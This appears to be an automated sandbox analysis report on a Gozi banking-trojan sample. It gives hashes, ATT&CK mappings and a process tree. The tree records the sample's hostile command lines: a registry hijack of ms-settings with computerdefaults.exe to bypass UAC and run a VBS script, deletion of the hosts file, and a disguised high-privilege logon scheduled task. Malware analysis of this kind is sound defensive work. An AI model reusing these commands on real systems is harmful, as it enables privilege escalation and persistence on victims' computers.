gozi | d4fd84db4cd115337bc9d97179df644966942b5f0574e0df6551cf32cfd869a2

General

Target

EacDriverBE.exe
Size

11KB
MD5

c6b2c74b647dcbbea223c51925c5c7dd
SHA1

071fa2b1394d2c95553149fd5eb643e0291927b3
SHA256

c5f1d37d96ed0788783f626a376144f85887a182155fed3b637744d9d9215a22
SHA512

ff1d378751d2722c165293b1dbefccc9aad42cb653f20178bbcbbc3318d6da0592e9099b7030f268c7cd60bc3e782ed2d66ddbf485391596f659b1e4c3c47b6c
SSDEEP

192:5S8JnK2fj6JIFjsJwpVwP456gijoVIgMa42JjrUxF59ooFIda:5S92L5FIJw/wgAjE7MeJvYooFi

Score

10^/10

gozi banker isfb trojan

Malware Config

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EacDriverBE.exewscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	EacDriverBE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

Processes:

EacDriverBE.exe

pid process

3268 EacDriverBE.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

18 raw.githubusercontent.com
19 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

5072 3268 WerFault.exe EacDriverBE.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3884 schtasks.exe

pid	process
3268	EacDriverBE.exe

flow	ioc
18	raw.githubusercontent.com
19	raw.githubusercontent.com

pid	pid_target	process	target process
5072	3268	WerFault.exe	EacDriverBE.exe

pid	process
3884	schtasks.exe

Modifies registry class 7 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\consoledamage374.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\ms-settings	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

EacDriverBE.exe

description pid process

Token: SeDebugPrivilege 3268 EacDriverBE.exe

description	pid	process
Token: SeDebugPrivilege	3268	EacDriverBE.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

EacDriverBE.execmd.exeComputerDefaults.exewscript.execmd.exe

description	pid	process	target process
PID 3268 wrote to memory of 2136	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 2136	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 2136	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 4828	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 4828	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 4828	3268	EacDriverBE.exe	reg.exe
PID 3268 wrote to memory of 428	3268	EacDriverBE.exe	cmd.exe
PID 3268 wrote to memory of 428	3268	EacDriverBE.exe	cmd.exe
PID 3268 wrote to memory of 428	3268	EacDriverBE.exe	cmd.exe
PID 428 wrote to memory of 3004	428	cmd.exe	ComputerDefaults.exe
PID 428 wrote to memory of 3004	428	cmd.exe	ComputerDefaults.exe
PID 428 wrote to memory of 3004	428	cmd.exe	ComputerDefaults.exe
PID 3004 wrote to memory of 1884	3004	ComputerDefaults.exe	wscript.exe
PID 3004 wrote to memory of 1884	3004	ComputerDefaults.exe	wscript.exe
PID 3004 wrote to memory of 1884	3004	ComputerDefaults.exe	wscript.exe
PID 1884 wrote to memory of 5024	1884	wscript.exe	cmd.exe
PID 1884 wrote to memory of 5024	1884	wscript.exe	cmd.exe
PID 1884 wrote to memory of 5024	1884	wscript.exe	cmd.exe
PID 3268 wrote to memory of 748	3268	EacDriverBE.exe	cmd.exe
PID 3268 wrote to memory of 748	3268	EacDriverBE.exe	cmd.exe
PID 3268 wrote to memory of 748	3268	EacDriverBE.exe	cmd.exe
PID 748 wrote to memory of 3884	748	cmd.exe	schtasks.exe
PID 748 wrote to memory of 3884	748	cmd.exe	schtasks.exe
PID 748 wrote to memory of 3884	748	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\EacDriverBE.exe
"C:\Users\Admin\AppData\Local\Temp\EacDriverBE.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoledamage374.vbs" /f
2⤵
- Modifies registry class
PID:2136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
2⤵
- Modifies registry class
PID:4828

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C computerdefaults.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:428

C:\Windows\SysWOW64\ComputerDefaults.exe
computerdefaults.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\SysWOW64\wscript.exe
"wscript.exe" C:\Users\Admin\AppData\Local\Temp\consoledamage374.vbs
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
5⤵
PID:5024

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN JavaAutoUpdateTask_wwf7vChHJBMBk7lWy050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer\wwf7vChHJBMBk7lWy050MX.exe" /RL HIGHEST /IT
2⤵
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\schtasks.exe
schtasks /Create /SC ONLOGON /TN JavaAutoUpdateTask_wwf7vChHJBMBk7lWy050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\GameExplorer\wwf7vChHJBMBk7lWy050MX.exe" /RL HIGHEST /IT
3⤵
- Creates scheduled task(s)
PID:3884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3268 -s 2364
2⤵
- Program crash
PID:5072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3268 -ip 3268
1⤵
PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

Filesize
1.4MB

MD5
6f2fdecc48e7d72ca1eb7f17a97e59ad

SHA1
fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

SHA256
70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

SHA512
fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\consoledamage374.vbs

Filesize
171B

MD5
a34267102c21aff46aecc85598924544

SHA1
77268af47c6a4b9c6be7f7487b2c9b233d49d435

SHA256
eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

SHA512
5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

Download Submit
memory/3268-6-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/3268-3-0x0000000005390000-0x000000000539A000-memory.dmp

Filesize
40KB

Download
memory/3268-4-0x00000000054C0000-0x0000000005552000-memory.dmp

Filesize
584KB

Download
memory/3268-5-0x0000000005B10000-0x00000000060B4000-memory.dmp

Filesize
5.6MB

Download
memory/3268-0-0x00000000747AE000-0x00000000747AF000-memory.dmp

Filesize
4KB

Download
memory/3268-2-0x00000000053A0000-0x00000000053BA000-memory.dmp

Filesize
104KB

Download
memory/3268-10-0x00000000747AE000-0x00000000747AF000-memory.dmp

Filesize
4KB

Download
memory/3268-11-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/3268-12-0x000000000B160000-0x000000000BD60000-memory.dmp

Filesize
12.0MB

Download
memory/3268-13-0x0000000012EF0000-0x0000000013B92000-memory.dmp

Filesize
12.6MB

Download
memory/3268-1-0x00000000009A0000-0x00000000009AA000-memory.dmp

Filesize
40KB

Download
memory/3268-19-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads